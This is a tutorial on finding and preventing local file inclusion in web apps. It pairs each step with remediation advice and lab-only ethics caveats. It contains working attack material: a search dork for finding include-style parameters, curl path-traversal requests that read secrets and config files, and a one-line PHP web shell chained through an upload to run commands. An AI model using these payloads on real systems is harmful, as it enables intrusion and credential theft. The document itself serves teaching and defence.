Local File Inclusion: How Can You Check and Prevent LFI Before It Becomes RCE?

Local File Inclusion (LFI) happens when a web app reads a file path from user input without strict validation. If input is not controlled, an attacker can move outside the intended folder and read sensitive files.

You can see a common vulnerable pattern in PHP below:

<?php
$page = $_GET['page'];
include($page); // vulnerable: user input is used directly
?>

If page is attacker-controlled, the app may include files like /etc/passwd (Linux) or C:\Windows\System32\drivers\etc\hosts (Windows).

Ethical Considerations

Use this only in a lab, CTF, or any system where you have clear written permission.

• Do not test random public targets.
• Do not access data that is outside your scope.
• Do not change or delete data.
• Report findings to the owner using responsible disclosure.
• Follow local law and program policy.

Practical Walkthrough

Step 1: Identify endpoints that may include files

Short context: first, we list endpoints that use parameters like page, file, or template.

site:<target-domain> inurl:"page=" OR inurl:"file=" OR inurl:"include=" OR inurl:"template="

This query helps you find URLs that are likely to load files from input.

Result and analysis: the endpoint list includes GET /api/documents/view?doc={name} and labels it as vulnerable to LFI. This is a strong starting point because we already know which parameter to test.

Remediation: reduce attack surface by removing unused dynamic include endpoints.

Step 2: Test for path traversal behavior

Short context: now, we check if the endpoint allows directory traversal with ../.

curl -s "http://<target-domain>/api/documents/view?doc=../secret.txt"

This request uses ../ to escape the upload folder and read a file outside the allowed location.

Result and analysis: the response returns THIS_IS_FAKE_DATA_DO_NOT_USE and a fake API key line. This confirms directory traversal works, the app reads unintended files, and LFI is confirmed.

Remediation: canonicalize input path, reject traversal patterns, and allow only known-safe file IDs.

Step 3: Validate impact by reading sensitive app files

Short context: after confirming LFI, we test impact by trying app config files.

curl -s "http://<target-domain>/api/documents/view?doc=../config/production.json"

This request targets a config file path shown in the same vulnerable endpoint flow.

Result and analysis: the output shows structured JSON with fake values for database host/user/password, AWS keys, and JWT secret. Even as lab data, this demonstrates real impact, because in production these fields usually contain sensitive credentials.

Remediation: move secrets out of web root, use environment-level secret management, and block direct file include from user input.

Step 4: Check file upload behavior with a normal file

Short context: this step helps you map upload location and validation logic.

curl -X POST "http://<target-domain>/upload.php" \
  -F "file=@sample.txt"

This command uploads a harmless text file to understand where it is stored.

Result and analysis: upload is successful and the response includes a stored path like /uploads/report.txt. Predictable upload paths make LFI chaining easier.

Remediation: store uploads outside executable paths, randomize file names, and enforce extension plus MIME validation.

Step 5: Simulate upload-to-execution chain

Short context: this is a controlled simulation to show how LFI can lead to command execution if unsafe upload is also present.

Example simulation payload file:

<?php
echo shell_exec($_GET['cmd']);
?>

Example simulation request:

GET /index.php?page=../../../../var/www/html/uploads/shell.php&cmd=id HTTP/1.1
Host: <target-domain>

This chain includes an uploaded script by path and passes a command parameter.

Result and analysis: when a server allows script upload and later includes that file path, attacker-controlled code can run on the server. This is a critical escalation from file read to code execution.

Remediation: disable code execution in upload directories, block script extensions on upload, and enforce strict include allowlists.

Summary

You can use a clear process to test LFI safely: find include-like endpoints, test traversal, confirm file-read impact, then check possible chaining with upload.

Main lessons:

• LFI starts from unsafe file inclusion with user input.
• ../ patterns can expose files outside intended folders.
• Sensitive file disclosure often leads to bigger compromise.
• Upload plus LFI can escalate to RCE if controls are weak.
• Strong allowlists, secure upload design, and least privilege reduce risk.